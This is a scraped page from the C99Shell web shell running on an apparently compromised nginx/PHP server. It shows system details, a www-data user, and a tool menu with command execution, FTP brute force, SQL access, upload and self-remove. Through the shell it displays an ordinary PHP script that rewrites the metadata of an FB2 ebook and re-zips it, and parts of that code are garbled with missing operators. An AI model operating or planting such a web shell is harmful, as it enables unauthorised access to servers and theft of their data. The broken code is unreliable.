!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/wwwroot/frames/ftpuploadng/   drwxrwxr-x
Free 83.34 GB of 96.73 GB (86.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     trata_fb2.php (2.06 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once "dUnzip2.inc.php";
require_once 
"dZip.inc.php";
include(
"fb2.classtxapuza.php");   

  
$original_zip="prueba.zip";
$directorio=strtolower(rand(111111,999999));  
$nombre="teo";
$apellido="perez lopez";
$titulo="prueba de libro en FB2" ;
$nombre_fichero_fb2="otro libraco.fb2";
 
$nombre_fichero_zip=substr($nombre_fichero_fb2,0,strlen($nombre_fichero_fb2)-4).".zip";


$zip = new dUnzip2($original_zip);

$zip->getList();


$zip->unzipAll($directorio);

 
$nofb2=array();
 foreach (
$zip->compressedList as $fichero=>$atributo){
     
      if  (
strtolower(substr($fichero,strlen($fichero)-3,3))=="fb2"){
           
// se encuentra el FB2.
           
$ficherofb2=str_replace(" ","\ ",$fichero);
          
$ficherofb2=basename($fichero);
           
     }else{
          
$nofb2[].=$fichero;
     }
 }


        echo 
chr(10)."$fichero-----------".$ficherofb2.chr(10);
        if (
rename ("./$directorio/$ficherofb2","./$directorio/copia".$ficherofb2)){
            
$ficherofb2original$ficherofb2;
        
$ficherofb2="copia".$ficherofb2;              
        echo 
"correcto!!!!!";
        }else{
            echo 
"fallo";
            die();
        }

      

 






  
  
  
  
$fb2=new fb2("/opt/lampp/htdocs/pruebas/gaby/NewFolder/$directorio/$ficherofb2");
  
$fb2->get_autor();
  
$fb2->get_titulo();
echo 
$fb2->titulo.chr(10);
echo 
$fb2->apellido.chr(10);
echo 
$fb2->nombre.chr(10);

$fb2->set_autor($nombre,$apellido);
$fb2->set_titulo($titulo);
$fb2->graba("./$directorio/$nombre_fichero_fb2");

     


// ahora, volvemos a zipearlo todo de nuevo

$ficheronuevo=new dZip("./$directorio/$nombre_fichero_zip");

$ficheronuevo->addFile("./$directorio/$nombre_fichero_fb2","./$directorio/$nombre_fichero_fb2") ;
foreach   (
$nofb2 as $valor){
    
$ficheronuevo->addFile("./$directorio/$valor","./$directorio/$valor");
}
$ficheronuevo->save();  
print_r($ficheronuevo);



deltree ("./$directorio");


function 
delTree($dir) {
    
$files glob$dir '*'GLOB_MARK );
    foreach( 
$files as $file ){
        if( 
substr$file, -) == '/' )
            
delTree$file );
        else
            
unlink$file );
    }
   
    if (
is_dir($dir)) rmdir$dir );
   

    

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0067 ]--